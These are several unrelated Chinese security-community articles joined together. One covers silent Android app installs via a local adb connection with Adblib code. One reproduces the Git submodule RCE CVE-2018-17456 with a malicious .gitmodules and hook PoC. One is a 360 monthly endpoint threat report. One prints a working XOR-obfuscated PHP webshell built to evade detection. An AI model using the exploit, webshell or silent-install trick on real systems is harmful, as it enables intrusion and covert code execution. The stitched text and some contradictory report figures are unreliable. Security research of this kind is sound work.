我们知道，具有静默安装应用能力的APP，一般默认是手机厂商的系统应用，这类应用天生就拥有system权限，而第三方应用想要拥有静默安装app能力，只能在root后的手机上向su申请root权限，那么是否有非root权限下静默安装app的方法呢？
第三方应用中，有静默安装APP需求的一般是市场类应用，如360手机助手、百度手机助手和腾讯应用宝等，市场类应用为了让用户节约频繁点击操作的时间，提高用户体验，在安装和升级大量app不太希望有太多的弹框确认操作影响用户，而各家都独避蹊径实现了非root权限静默安装app,目前的方法都是使用AccessibilityService辅助服务进行自动点击，根据app的安装步骤来一步步实现app的静默安装。
AccessibilityService辅助服务是google为使用手机有障碍的用户提供的服务，第三方APP必须通过开启这个服务，才能让手机模拟用户点击，app使用这个功能会明确提示用户，如某流行的第三方市场应用。
另外还可以通过adb shell命令
”settings put secure enabled_accessibility_services <PACKAGE_NAME>/< ACCESSIBILITY_SERVICES_NAME>”和”settings put secure accessibility_enabled 1”
直接开启辅助服务，因为adb shell是具有”settings”的执行权限的：
**0x02 另一种静默安装APP的方法**
那既然拥有了adb shell的权限，除了开启辅助服务实现静默安装，我们还能不能使用一种更简单的方法呢？
大家知道，adb是能远程连接的，以前各种手机和智能设备都默认开启了adb的远程连接造成各种安全漏洞，如果安卓开启了调试模式，我们也可以事先通过USB调试使用tcpip命令开启这个远程调试功能，如“adb
tcpip
5555”，开启5555端口的远程调试绑定，这时候不管是什么终端只要能使用合法的调试协议都是能使用adb的，所以手机上的app也能使用远程调试功能，这里我们不需要重复造轮子，直接使用Adblib这个开源库就能让app拥有adb远程调试的能力。无代码，不信服：
Socket socket = new Socket("127.0.0.1", 5555);
AdbCrypto crypto = AdbCrypto.loadAdbKeyPair(new AdbBase64() {
@Override
public String encodeToString(byte[] data) {
return Base64.encodeToString(data, Base64.DEFAULT);
}
}, keyPair);
connection = AdbConnection.create(socket, crypto);
connection.connect();
AdbStream stream = connection.open("shell:pm install -r /storage/emulated/0/ HookVulnerable.apk");
如图，APP在本地就具备了静默安装的能力
**0x03 adb协议简要分析**
目前安卓的adb调试协议启用了设备认证，并使用了RSA非对称加密！我来简单描叙下ADB协议的流程：
1.调试设备连接手机，手机向调试设备发送AUTH TOKEN报文，这里会包含源自/dev/urandom的20字节的随机token。
2.调试设备用自己的私钥对该随机token进行签名(SHA1+RSA)，放在发往手机的SIGNATURE报文中。
3.手机检查签名，如果正确，响应以CONNECT报文，否则向主机发送新的AUTH TOKEN报文，提供新的随机token。
4.如果调试设备已经确认了所有公私钥对，则向手机发送AUTH RSAPUBLICKEY报文，包含一个调试设备公钥。
5.手机接收到调试设备公钥后弹出信息框，询问是否允许(或永久允许)，该信息框中一般会显示调试设备公钥的指纹(MD5)
6\. 调试设备的公钥最后保存在手机端的/data/misc/adb/adb_keys
看到这里我再把Adblib简要分析下，作者将adb源码里的几个重要的结构用JAVA实现，主要是
1.adb协议的标志头（OKAY，CLSE，OPEN，AUTH等）
2.adb消息的结构（命令、参数、payload长度，payload的checksum、magic以及payload）
3.adb加密方式（RSA加密消息）
大致通信过程如下：
因此，Adblib只是在APP端把adb协议调试设备端的流程重新实现了而已。
**0X04安全思考**
文章写到这里，我就不再做更深入的分析了。关于安全问题，每个人都会有自己的思考，也许产品人员想到的是用户体验，而安全人员希望寻找里面的漏洞，黑产木马病毒制造者想到的则是会是怎么作恶，
**0x05 参考**
<https://github.com/cgutman/AdbLib>
<https://nelenkov.blogspot.com/2013/02/secure-usb-debugging-in-android-422.html> | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**英文版本：<https://paper.seebug.org/980/>**
国庆节的时候，Git爆了一个RCE的漏洞，放假回来进行应急，因为公开的相关资料比较少，挺头大的，搞了两天，RCE成功了
### 收集资料
一开始研究这个漏洞的时候，网上公开的资料非常少，最详细的也就github blog的了。
得知发现该漏洞的作者是[@joernchen](https://twitter.com/joernchen),
去翻了下他的twitter，找到了一篇还算有用的推文：
另外在twitter搜索`CVE-2018-17456`，得到一篇[@_staaldraad](https://twitter.com/_staaldraad)验证成功的推文：
可惜打了马赛克，另外还通过Google也零零散散找到一些有用的信息(url都找不到了)，比如该漏洞无法在Windows上复现成功，因为`:`在Windows上不是有效的文件名。
### 研究分析
网上资料太少，只凭这点资料无法完成该漏洞的复现，所以只能自己通过源码、调试进行测试研究了。
使用`woboq_codebrowser`生成了`git v2.19.1`最新版的源码，方便审计。
通过源码发现在`git`命令前使用`GIT_TRACE=1`能开启git自带的命令跟踪，跟踪git的`run_command`
首先创建一个源，并创建其子模块(使用git v2.19.0进行测试)：
$ git --version
git version 2.19.0.271.gfe8321e.dirty
$ mkdir evilrepo
$ cd evilrepo/
$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into '/home/ubuntu/evilrepo/test1'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), done.
$ cat .gitmodules
[submodule "test1"]
path = test1
url = https://github.com/Hcamael/hello-world.git
从搜集到的资料看，可以知道，该漏洞的触发点是url参数，如果使用`-`开始则会被解析成参数，所以尝试修改url
$ cat .gitmodules
[submodule "test1"]
path = test1
url = -test
$ rm -rf .git/modules/test1/
$ rm test1/.git
修改.git/config
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
这里可以选择把submodule的数据删除，可以可以选择直接修改url
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -test
$ GIT_TRACE=1 git submodule update --init
从输出结果中，我们可以看到一句命令：
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'
我们设置的`-test`被`git clone`识别为`-t`参数，漏洞点找到了，下面需要考虑的是，怎么利用`git clone`参数执行命令？
继续研究，发现git有处理特殊字符，比如空格：
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -te st
$ GIT_TRACE=1 git submodule update --init
.....
git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url '-te st'
.....
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 '-te st' /home/ubuntu/evilrepo/test1
.....
如果有特殊字符，则会加上单引号
翻了下源码，找到了过滤的函数，是一个白名单过滤
只有大小写字母，数字和下面这几种特殊字符才不会加上单引号：
static const char ok_punct[] = "+,-./:=@_^";
感觉这空格是绕不过了(反正我绕不动)
接下来继续研究如果利用参数进行命令执行
在翻twitter的过程中还翻到了之前一个Git
RCE(CVE-2018-11235)的文章，发现是利用hook来达到RCE的效果，在结合之前[@_staaldraad](https://twitter.com/_staaldraad)验证成功的推文
可以很容易的想到一个方法，不过在讲这个方法前，先讲一些`git submodule`的基础知识点吧
#### git submodule机制简单讲解
首先看看`.gitmodules`的几个参数：
[submodule "test1"]
path = test2
url = test3
`test1`表示的是submodule
name，使用的参数是`--name`，子项目`.git`目录的数据会被储存到`.git/modules/test1/`目录下
`test2`表示的是子项目储存的路径，表示子项目的内容将会被储存到`./test2/`目录下
`test3`这个就很好理解，就是子项目的远程地址，如果是本地路径，就是拉去本地源
把本地项目push到远程，是无法把`.git`目录push上去的，只能push `.gitmodules`文件和`test2`目录
那么远程怎么识别该目录为submodule呢？在本地添加submodule的时候，会在`test2`目录下添加一个.git文件(在前面被我删除了，可以重新添加一个查看其内容)
$ cat test2/.git
gitdir: ../.git/modules/test1
指向的是该项目的`.git`路径，该文件不会被push到远程，但是在push的时候，该文件会让git识别出该目录是submodule目录，该目录下的其他文件将不会被提交到远程，并且在远程为该文件创建一个链接，指向submodule地址：
(我个人体会，可以看成是Linux下的软连接)
这个软连接是非常重要的，如果远程test2目录没有该软连接，`.gitmodules`文件中指向该路径的子项目在给clone到本地时(加了--recurse-submodules参数)，该子项目将不会生效。
理解了submodule大致的工作机制后，就来说说RCE的思路
我们可以把url设置为如下:
url = --template=./template
这是一个模板选项，详细作用自己搜下吧
在设置了该选项的情况下，把子项目clone到本地时，子项目的`.git`目录被放到`.git/modules/test1`目录下，然后模板目录中，规定的几类文件也会被copy到`.git/modules/test1`目录下。这几类文件其中就是hook
所以，只有我们设置一个`./template/hook/post-checkout`，给`post-checkout`添加可执行权限，把需要执行的命令写入其中，在子项目执行`git chekcout`命令时，将会执行该脚本。
$ mkdir -p fq/hook
$ cat fq/hook/post-checkout
#!/bin/sh
date
echo 'PWNED'
$ chmod +x fq/hook/post-checkout
$ ll
total 24
drwxrwxr-x 5 ubuntu ubuntu 4096 Oct 12 16:48 ./
drwxr-xr-x 16 ubuntu ubuntu 4096 Oct 12 16:48 ../
drwxrwxr-x 3 ubuntu ubuntu 4096 Oct 12 16:47 fq/
drwxrwxr-x 8 ubuntu ubuntu 4096 Oct 12 15:59 .git/
-rw-rw-r-- 1 ubuntu ubuntu 57 Oct 12 16:48 .gitmodules
drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 12 16:46 test2/
$ cat .gitmodules
[submodule "test1"]
path = test2
url = --template=./fq
$ GIT_TRACE=1 git submodule update --init
设置好了PoC，再试一次，发现还是报错失败，主要问题如下：
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2
fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed
来解析下该命令：
git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
我们把`{url}`设置为参数以后，`/home/ubuntu/evilrepo/{path}`就变成源地址了，该地址被判断为本地源目录，所以会查找该目录下的`.git`文件，但是之前说了，因为该目录被远程设置为软连接，所以clone到本地不会有其他文件，所以该目录是不可能存在`.git`目录的，因此该命令执行失败
再来看看是什么命令调用的该命令：
git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq
解析下该命令：
git submodule--helper clone --path {path} --name {name} --url {url}
path, name, url都是我们可控的，但是都存在过滤，过滤规则同上面说的url白名单过滤规则。
该命令函数 ->
我考虑过很多，path或name设置成`--url=xxxxx`
都失败了，因为`--path`和`--name`参数之后没有其他数据了，所以`--url=xxxx`都会被解析成name或path，这里就缺一个空格，但是如果存在空格，该数据则会被加上单引号，目前想不出bypass的方法
所以该命令的利用上毫无进展。。。。
所以关注点又回到了上一个`git clone`命令上：
git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name);
sm_gitdir = absolute_pathdup(sb.buf);
`/home/ubuntu/evilrepo/.git/modules/{name}`路径是直接使用上面代码进行拼接，也找不到绕过的方法
最后就是`/home/ubuntu/evilrepo/{path}`，如果git能把这个解析成远程地址就好了，所以想了个构造思路：`/home/ubuntu/evilrepo/[email protected]:Hcamael/hello-world.git`
但是失败了，还是被git解析成本地路径，看了下path的代码：
if (!is_absolute_path(path)) {
strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
path = strbuf_detach(&sb, NULL);
} else
path = xstrdup(path);
因为`[email protected]:Hcamael/hello-world.git`被判断为非绝对路径，所以在前面加上了当前目录的路径，到这就陷入了死胡同了找不到任何解决办法
### RCE
在不断的研究后发现，`[email protected]:Hcamael/hello-world.git`在低版本的git中竟然执行成功了。
首先看图：
使用的是ubuntu 16.04，默认的git是2.7.4，然后查了下该版本git的源码，发现该版本中并没有下面这几行代码
if (!is_absolute_path(path)) {
strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
path = strbuf_detach(&sb, NULL);
} else
path = xstrdup(path);
所以构造的命令变成了：
$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq [email protected]:Hcamael/hello-world.git
之后把我执行成功的结果和[@_staaldraad](https://twitter.com/_staaldraad)推文中的截图进行对比，发现几乎是一样的，所以猜测这个人复现的git环境也是使用低版本的git
### 总结
之后翻了下git的提交历史，发现2016年就已经添加了对path是否是绝对路径的判断。根据我的研究结果，CVE-2018-17456漏洞可以造成git选项参数注入，但是只有低版本的git才能根据该CVE造成RCE的效果。
* * *
### UPDATE
github上有人公布了除了低版本的git都适用的PoC: <https://github.com/joernchen/poc-submodule>
再结合我的PoC，没有patch该漏洞的git都能被RCE
### 引用
1. <https://blog.github.com/2018-10-05-git-submodule-vulnerability/>
2. <https://0x48.pw/git/>
3. <https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty>
4. <https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/>
5. <https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone>
* * * | 社区文章 |
# 1月政企终端安全态势分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 报告说明
终端是政企内部网络不可或缺的组成部分，其安全状况与组织内每个成员息息相关。在很多情况下，终端也是内部网络和外部网络的连接点，是外部恶意程序进入内部网络常见的入口节点。终端一旦失守，整个办公或生产网络就有可能沦陷，给政企单位带来巨额损失。
《政企终端安全态势分析报告》是“360终端安全实验室”定期发布的针对政企网络终端的安全态势分析报告。报告数据来自 360
企业安全公有云安全监测数据。报告以勒索病毒、漏洞利用、蠕虫病毒为主要研究对象，以每日感染病毒的终端为基本单位，通过对政企终端感染病毒情况的分析，帮助客户更清晰地看见风险态势，为安全决策提供更有力的参考依据。
监测数据表示360企业级终端安全产品对特定威胁的云查杀主动请求数量，对于本地已经可以查杀的病毒，不在统计之列。这些数据可以在一定程度上反映出相关机构遭到特定类型活跃恶意程序攻击的数量和强度。
本期报告的监测时间为 2019 年 1 月 1 日 ~ 1 月 31 日。
## 第一章 病毒攻击政企整体分析
360终端安全实验室监测数据显示，2019年1月，政企单位被病毒攻击的事件数量比12月减少了4.3%，被病毒攻击的政企终端的累计数量比2018年12月减少了4.3%，被病毒攻击的政企单位的绝对数量比12月减少了11.3%。
### 一、攻击整体态势
2019年1月，病毒攻击的最高峰出现在1月30日（星期三），最低谷则出现在1月1日（星期二）。
2019年1月，被病毒攻击的事件数量比12月减少了4.3%。其中，病毒单日单次攻击政企单位的终端数仅为1台的事件比12月减少了8.8%，占1月攻击事件总数的55.7%：单日单次攻击终端数为2~10台的事件比12月增加了1.8%，占1月攻击事件总数的37.4%：单日单次攻击终端数为11~50台的事件比12月减少了7.4%，占1月攻击事件总数的5.9%：单日单次攻击50台以上终端的事件比12月增加了33.3%，占1月攻击事件总数的1%。
### 二、被攻击终端分析
2019年1月，被病毒攻击的政企终端数量比2018年12月减少了4.3%。其中，蠕虫病毒依然是最大的毒瘤，遭遇蠕虫病毒攻击的政企终端的比例高达85.3%，被攻击政企终端的累计数量比12月增加了5.8%；遭遇漏洞利用攻击的政企终端的比例为13.5%，被攻击政企终端的累计数量比12月下降了36.4%；遭遇勒索病毒攻击的政企终端的比例为1.2%，被攻击政企终端的累计数量比12月下降了54.2%。
在被病毒攻击的政企终端中，北京地区最多，占比高达17.1%，被攻击政企终端的累计数量比12月增加了40.4%；其次是贵州，占比为11.3%，被攻击政企终端的累计数量比12月增加了186.4%；广东排在第三位，占比为10.5%，被攻击政企终端的累计数量比12月减少了21.8%。
在被病毒攻击的政企终端中，能源行业最多，占比高达16.6%，但被攻击政企终端的累积数量比12月减少了20.7%；其次是政府行业，占比为15.2%，被攻击政企终端的累积数量比12月减少了23.6%；卫生行业排在第三位，占比为13.3%，被攻击政企终端的累积数量比12月增加了6.4%。
### 三、被攻击单位分析
2019年1月，被病毒攻击的政企单位的绝对数量比12月减少了11.3%。
在受到病毒攻击的政企单位中，91.7%的单位遭到了蠕虫病毒的攻击，但被攻击政企单位的绝对数量比12月减少了9.7%；23.9%的单位遭到了漏洞利用的攻击，被攻击政企单位的绝对数量比12月减少了15.8%；而5.1%的单位受到了勒索病毒的攻击，被攻击政企单位的绝对数量比12月减少了4.8%。
在被病毒攻击的政企单位中，广东地区最多，占比高达12.1%，但被攻击政企单位的绝对数量比12月减少了20.5%；其次是北京，占比为10.4%，被攻击政企单位的绝对数量比12月减少了12.3%；浙江排在第三位，占比为8.9%，但被攻击政企单位的绝对数量比12月减少了1.2%。
在被病毒攻击的政企单位中，政府行业最多，占比高达23.9%，但被攻击政企单位的绝对数量比12月减少了13.0%；其次是卫生行业，占比为20.3%，被攻击政企单位的绝对数量比12月减少了13.6%；能源行业排在第三位，占比为5.9%，被攻击政企单位的绝对数量比12月减少了13.2%。
## 第二章 勒索病毒攻击政企分析
360终端安全实验室监测数据显示，2019年1月，政企单位被勒索病毒攻击的事件数量比12月增加了11.5%，被勒索病毒攻击的政企终端的累计数量比2018年12月减少了54.2%，被勒索病毒攻击的政企单位的绝对数量比12月减少了4.8%。
### 一、攻击整体态势
2019年1月，勒索病毒攻击的最高峰出现在1月30日（星期三），最低谷则出现在1月1日（星期二）。
2019年1月，被勒索病毒攻击的事件数量比12月增加了11.5%。其中，单日单次攻击政企单位的终端数仅为1台的事件比12月增加了5.2%，占1月攻击事件总数的69.7%：单日单次攻击终端数为2~10台的事件比12月增加了35.5%，占1月攻击事件总数的29.0%：单日单次攻击终端数为11~50台的事件和12月持平，占1月攻击事件总数的1.4%：单日单次攻击50台以上终端的事件本月没有发生。
### 二、被攻击终端分析
2019年1月，被勒索病毒攻击的政企终端的累计数量比2018年12月减少了4.3%。
在被勒索病毒攻击的政企终端中，山东地区最多，占比高达27.8%，被攻击政企终端的累计数量比12月增加了10.0%；其次是广东，占比为20.3%，被攻击政企终端的累计数量比12月减少了30.4%；北京排在第三位，占比为16.6%，被攻击政企终端的累计数量比12月增加了186.4%。
在被勒索病毒攻击的政企终端中，运营商行业最多，占比高达26.2%，被攻击政企终端的累计数量比12月增加了6.9%；其次是教育行业，占比为22.4%，被攻击政企终端的累计数量比12月减少了278.6%；能源行业排在第三位，占比为11.0%，被攻击政企终端的累计数量比12月增加了73.3%。
### 三、被攻击单位分析
2019年1月，被勒索病毒攻击的政企单位的绝对数量比12月减少了11.3%。
在被勒索病毒攻击的政企单位中，北京、浙江地区最多，占比均高达10.1%，但被攻击政企单位的绝对数量和12月基本持平。
在被勒索病毒攻击的政企单位中，政府行业最多，占比高达22.5%，被攻击政企单位的绝对数量比12月增加了28.6%；其次是教育行业，占比为12.5%，被攻击政企单位的绝对数量比12月增加了400%；金融行业排在第三位，占比为10.0%，被攻击政企单位的绝对数量比12月减少了20.0%。
# 第三章 漏洞利用攻击政企分析
360终端安全实验室监测数据显示，2019年1月，政企单位被漏洞利用攻击的事件数量比12月减少了8.3%，被漏洞利用攻击的政企终端的累计数量比2018年12月减少了36.4%，被漏洞利用攻击的政企单位的绝对数量比12月减少了15.8%。
### 一、攻击整体态势
2019年1月，漏洞利用攻击的最高峰出现在1月9日（星期三），最低谷则出现在1月26日（星期二）。
2019年1月，被漏洞利用攻击的事件数量比12月减少了8.3%。其中，单日单次攻击政企单位的终端数仅为1台的事件比12月减少了13.4%，占1月攻击事件总数的55.3%：单日单次攻击终端数为2~10台的事件比12月减少了5.5%，占1月攻击事件总数的36.6%：单日单次攻击终端数为11~50台的事件比12月增加了40.6%，占1月攻击事件总数的6.9%：单日单次攻击50台以上终端的事件比12月减少了20.0%，占1月攻击事件总数的1.2%。
### 二、被攻击终端分析
2019年1月，被病毒攻击的政企终端的累计数量比2018年12月减少了4.3%。
在被漏洞利用攻击的政企终端中，北京地区最多，占比高达28.1%，但被攻击政企终端的累计数量比12月减少了50.4%；其次是湖北，占比为17.8%，被攻击政企终端的累计数量比12月增加了3.3%；福建排在第三位，占比为10.2%，被攻击政企终端的累计数量比12月增加了5.5%。
在被漏洞利用攻击的政企终端中，政府行业最多，占比高达25.8%，但被攻击政企终端的累计数量比12月减少了4.3%；其次是能源行业，占比为22.9%，但被攻击政企终端的累计数量比12月减少了56.3%；金融行业排在第三位，占比为6.9%，被攻击政企终端的累计数量比12月增加了5.7%。
### 三、被攻击单位分析
2019年1月，被漏洞利用攻击的政企单位的绝对数量比12月减少了11.3%。
在被漏洞利用攻击的政企单位中，北京地区最多，占比高达12.1%，但被攻击政企单位的绝对数量比12月减少了20.0%；其次是广东，占比为13.4%，被攻击政企单位的绝对数量比12月减少了18.4%；福建排在第三位，占比为8.2%，被攻击政企单位的绝对数量比12月减少了5.6%。
在被漏洞利用攻击的政企单位中，政府行业最多，占比高达21.9%，但被攻击单位的绝对数量比12月减少了25.5%；其次是卫生行业，占比为10.2%，被攻击单位的绝对数量比12月减少了9.5%；金融行业排在第三位，占比为7.5%，被攻击单位的绝对数量比12月减少了17.6%。
## 第四章 蠕虫病毒攻击政企分析
360终端安全实验室监测数据显示，2019年1月，政企单位被蠕虫病毒攻击的事件数量比12月减少了4.6%，被蠕虫病毒攻击的政企终端的累计数量比2018年12月增加了5.8
%，被蠕虫病毒攻击的政企单位的绝对数量比12月减少了9.7%。
### 一、攻击整体态势
2019年1月，蠕虫病毒攻击的最高峰出现在1月30日（星期三），最低谷则出现在1月1日（星期二）。
2019年1月，被蠕虫病毒攻击的事件数量比12月减少了4.6%。其中，单日单次攻击政企单位的终端数仅为1台的事件比12月减少了8.6%，占1月攻击事件总数的55.2%：单日单次攻击终端数为2~10台的事件比12月增加了2.4%，占1月攻击事件总数的37.8%：单日单次攻击终端数为11~50台的事件比12月减少了13.3%，占1月攻击事件总数的5.9%：单日单次攻击50台以上终端的事件比12月增加了60.0%，占1月攻击事件总数的1%。
### 二、被攻击终端分析
2019年1月，被蠕虫病毒攻击的政企终端数量比2018年12月减少了4.3%。
在被蠕虫病毒攻击的政企终端中，北京地区最多，占比高达5.4%，被攻击政企终端的累计数量比12月增加了192.0%；其次是贵州，占比为13.2%，被攻击政企终端的累计数量比12月增加了189.4%；广东排在第三位，占比为10.9%，被攻击政企终端的累计数量比12月减少了18.0%。
在被蠕虫病毒攻击的政企终端中，能源行业最多，占比高达15.7%，但被攻击政企终端的累计数量比12月减少了3.0%；其次是卫生行业，占比为15.1%，被攻击政企终端的累计数量比12月增加了15.2%；政府行业排在第三位，占比为13.6%，被攻击政企终端的累计数量比12月下降了20.4%。
### 三、被攻击单位分析
2019年1月，被蠕虫病毒攻击的政企单位的绝对数量比12月减少了11.3%。
在被蠕虫病毒攻击的政企单位中，广东地区最多，占比高达12.1%，但被攻击政企单位的绝对数量比12月减少了17.6%；其次是北京，占比为10.0%，被攻击政企单位的绝对数量比12月减少了6.6%；浙江排在第三位，占比为9.1%，被攻击政企单位的绝对数量比12月减少了4.9%。
在被蠕虫病毒攻击的政企单位中，政府行业最多，占比高达23.8%，但被攻击政企单位的绝对数量比12月减少了12.3%；其次是卫生行业，占比为21.2%，被攻击政企单位的绝对数量比12月减少了13.6%；能源行业排在第三位，占比为6.1%，被攻击政企单位的绝对数量比12月减少了4.3%。
## 第五章 1月热点病毒事件关注
### 新瓶装旧酒，Cerber2019正在勒索1比特币
近日，360企业安全威胁情报中心监测到一款“新型”勒索病毒Cerber2019。该勒索病毒除加密常见文件类型外，还会把其他勒索病毒(如WannaCry)加密过的文件再次加密，加密后的文件扩展名为“CerBerSystemLocked2019”。当把磁盘上的文件加密完后，Cerber2019勒索病毒会要求受害者24小时内支付1比特币解密，超过36小时则销毁文件加密密钥。该病毒主要靠RDP爆破入侵，截至到目前暂未发现大规模爆发。
Cerber2019勒索病毒和2012年出现的xorist勒索病毒的代码非常相似，故判定Cerber2019是xorist勒索病毒的变种。后续，360还会推出新变种Cerber2019勒索病毒的解密工具，加密的文件可通过免费解密工具进行解密，下载地址：http://lesuobingdu.360.cn。
## 第六章 政企终端安全建议
360终端安全实验室提醒广大政企单位注意以下事项：
### 一、及时更新最新的补丁库
根据360企业安全集团终端安全多年的运营经验，病毒大规模爆发的原因都是因为补丁安装不及时所致，因此及时更新补丁是安全运维工作的重中之重，但是很多政企单位由于业务的特殊性，对打补丁要求非常严格。
360终端安全产品已经集成了先进的补丁管理功能，基于业界最佳的补丁管理实践，能够进行补丁编排，对补丁按照场景进行灰度发布，并且对微软更新的补丁进行了二次运营，解决了很多的兼容性问题，能够最大程度上解决补丁难打问题，帮助政企单位提升网络的安全基线。
### 二、杜绝弱口令问题
弱口令是目前主机安全入侵的第一大安全隐患，大部分大规模泛滥的病毒都内置了弱口令字典，能够轻松侵入使用弱口令的设备，应该坚决杜绝弱口令。
360终端安全实验室建议登录口令尽量采用大小写、字母、数字、特殊符号混合的组合结构，且口令位数应足够长，并在登陆安全策略里限制登录失败次数、定期更换登录口令等。多台机器不使用相同或相似的口令，不使用默认的管理员名称如admin，不使用默认密码如admin、不使用简单密码如：admin123、12345678、666666等。
### 三、重要资料定期隔离备份
政企单位应尽量建立单独的文件服务器进行重要文件的存储备份，即使条件不允许也应对重要的文件进行定期隔离备份。
### 四、提高网络安全基线
掌握日常的安全配置技巧，如对共享文件夹设置访问权限，尽量采用云协作或内部搭建的wiki系统实现资料共享；尽量关闭3389、445、139、135等不用的高危端口，禁用Office宏等。
如果没有这类安全经验，也可以使用360终端威胁评估产品（ETA）来对终端安全进行整体风险评估，360终端威胁评估产品（ETA）同时采用中国安全基本标准（CGDCC）和美国安全基线标准（USGCB），拥有数百种安全基线的检测能力和终端的深度安全检测能力，可以很好地帮助政企单位评估内部终端的安全。
### 五、保持软件使用的可信
平时要养成良好的安全习惯，不要点击陌生链接、来源不明的邮件附件，打开前使用安全扫描并确认安全性，尽量从官网等可信渠道下载软件，目前通过软件捆绑来传播的病毒也在逐渐增多，尤其是移动应用环境，被恶意程序二次打包的APP在普通的软件市场里非常常见。
360终端安全产品家族中的软件管家，基于多年的安全软件运营经验，能够为政企单位量身定做一个可信的安全软件使用环境，避免员工任意安装软件而带来的病毒入侵风险。
### 六、选择正确的反病毒软件
随着威胁的发展，威胁开始了海量化和智能化趋势。对于海量化的威胁，就需要利用云计算的能力来对抗威胁海量化的趋势，因此在选择反病毒软件时，需要选择具备云查杀能力的反病毒软件。
360终端安全的天擎基于云查杀技术和多年来威胁样本运营经验，已经具备150亿威胁样本的查杀能力，而且还首创了白名单技术，并拥有10亿量级的白名单库，而且内置云查杀、QVM、AVE、QEX、主动防御等多种引擎，能够深度解决政企网络的病毒威胁。
### 七、建立高级威胁深度分析与对抗能力
对于威胁的智能化趋势，很多智能威胁通过多种手段来躲避传统反病毒软件的查杀，这时就需要政企单位具备高级威胁深度分析和对抗能力。
360终端安全响应系统基于业内公认的EDR思想，能够以终端的维度、事件的维度和时间的维度来分析网络中出现的高级威胁事件，能够为客户提供三维的立体威胁分析能力。后端利用大数据技术，能够监控终端上的所有灰文件的行为，内置AI模型，能够有效地识别传统反病毒软件识别不了的高级威胁入侵事件，帮助客户发现APT、流量、挖矿、勒索等新型威胁。
## 关于360终端安全实验室
360终端安全实验室由多名经验丰富的恶意代码研究专家组成，着力于常见病毒、木马、蠕虫、勒索软件等恶意代码的原理分析和研究，致力为中国政企客户提供快速的恶意代码预警和处置服务，在曾经流行的WannaCry、Petya、Bad
Rabbit的恶意代码处置过程中表现优异，受到政企客户的广泛好评。
360终端安全实验室以360天擎新一代终端安全管理系统为依托，为政企客户提供简单有效的终端安全管理理念、完整的终端解决方案和定制化的安全服务，帮助客户解决内网安全与管理问题，保障政企终端安全。
### 关于360天擎新一代终端安全管理系统
360天擎新一代终端安全管理系统是360企业安全集团为解决政企机构终端安全问题而推出的一体化解决方案，是中国政企客户3300万终端的信赖之选。系统以功能一体化、平台一体化、数据一体化为设计理念，以安全防护为核心，以运维管控为重点，以可视化管理为支撑，以可靠服务为保障，提供了十六大基础安全能力，帮助政企客户构建终端威胁检测、终端威胁响应、终端威胁鉴定等高级威胁对抗能力，提升安全规划、战略分析和安全决策等终端安全治理能力。
特别的是，360企业安全还面向所有360天擎政企用户免费推出敲诈先赔服务：如果用户在开启了360天擎敲诈先赔功能后，仍感染了勒索软件，360企业安全将负责赔付赎金，为政企用户提供百万先赔保障，帮政企客户免除后顾之忧。
### 关于360天擎终端安全响应系统
360天擎终端安全响应系统（EDR）以行为引擎为核心，基于人工智能和大数据分析技术，对主机、网络、文件和用户等信息，进行深层次挖掘和多维度分析，结合云端优质威胁情报，将威胁进行可视化，并通过场景化和全局性的威胁追捕，对事件进行深度剖析，识别黑客/威胁意图，追踪威胁的扩散轨迹，评估威胁影响面，从而协同EPP、SOC、防火墙等安全产品，进行快速自动化的联动响应，将单次响应转化为安全策略，控制威胁蔓延，进行持续遏制，全面提升企业安全防护能力。 | 社区文章 |
# 随机异或无限免杀D盾之再免杀
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 项目分析
> 随机异或无限免杀D盾项目分析
首先分析随机异或无限免杀D盾的github项目：<https://github.com/yzddmr6/webshell-venom>
1，首先分析其生成的木马样例：（当前已经不免杀）
<?php
class PXGF{
function __destruct(){
$RAFH='slvf*o'^"x12x1fx5x3x58x1b";
return @$RAFH("$this->WSXP");
}
}
$pxgf=new PXGF();
@$pxgf->WSXP=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>
此木马中$RAFH的值是由两串`'slvf*o'^"x12x1fx5x3x58x1b";`字符异或得到的，此异或结果为assert。即$RAFH=assert，其中`return
@$RAFH("$this->WSXP");`即为:`$pxgf->WSXP`是等于`$this->WSXP`，给`$pxgf->WSXP`如下赋值时，也就是给`$this->WSXP`如下赋值。即结果为：
return $RAFH("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");
而RAFH又等于assert，即最后结果为：即一句话木马
